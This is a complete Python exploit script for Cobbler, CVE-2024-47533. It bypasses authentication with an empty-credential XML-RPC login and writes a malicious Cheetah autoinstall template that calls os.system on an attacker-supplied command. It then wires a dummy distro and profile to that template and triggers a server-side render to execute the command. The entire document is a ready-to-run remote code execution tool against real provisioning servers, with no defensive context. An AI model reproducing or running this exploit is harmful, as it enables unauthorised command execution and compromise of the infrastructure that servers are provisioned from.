#!/usr/bin/env python3 import xmlrpc.client import argparse import sys def ensure_distro(srv, token, name="pwn_distro"): distros = srv.get_distros() if distros: return distros[0]["name"] # Create a minimal "dummy" distro; fields just need to exist did = srv.new_distro(token) srv.modify_distro(did, "name", name, token) srv.modify_distro(did, "arch", "x86_64", token) srv.modify_distro(did, "breed", "redhat", token) # Cobbler wants these set, but they won't be used by render srv.modify_distro(did, "kernel", "/boot/vmlinuz-6.1.0-37-amd64", token) srv.modify_distro(did, "initrd", "/boot/initrd.img-6.1.0-37-amd64", token) srv.save_distro(did, token) return name def ensure_profile(srv, token, profile_name="pwnprof"): try: pid = srv.new_profile(token) srv.modify_profile(pid, "name", profile_name, token) except xmlrpc.client.Fault: pid = srv.get_profile(profile_name, token) return pid def main(): ap = argparse.ArgumentParser(description="Cobbler CVE-2024-47533 render-RCE") ap.add_argument("--url", required=True, help="XML-RPC endpoint (e.g. http://127.0.0.1:25151 or http://host/cobbler_api)") ap.add_argument("--cmd", required=True, help="Command to run on the server during render") ap.add_argument("--profile", default="pwnprof", help="Profile name to create/use") ap.add_argument("--distro", default="pwn_distro", help="Distro name to create if none exist") args = ap.parse_args() srv = xmlrpc.client.ServerProxy(args.url) token = srv.login("", -1) # CVE-2024-47533 # Ensure a distro exists (create dummy if needed) distro_name = ensure_distro(srv, token, args.distro) print(f"[+] Using distro: {distro_name}") # Cheetah expression-only payload keeps renderer happy payload = f"""#set $null = __import__('os').system({args.cmd!r}) lang en_US keyboard us network --bootproto=dhcp rootpw --plaintext cobbler timezone UTC bootloader --location=mbr clearpart --all --initlabel autopart reboot """ # Write malicious template srv.write_autoinstall_template("pwn.ks", payload, token) # Create/reuse profile and wire it up pid = ensure_profile(srv, token, args.profile) srv.modify_profile(pid, "distro", distro_name, token) srv.modify_profile(pid, "autoinstall", "pwn.ks", token) srv.modify_profile(pid, "kickstart", "pwn.ks", token) srv.save_profile(pid, token) # Trigger server-side render (no token arg here) print("[+] Triggering render...") rendered = srv.generate_profile_autoinstall(args.profile) print(rendered) if __name__ == "__main__": main()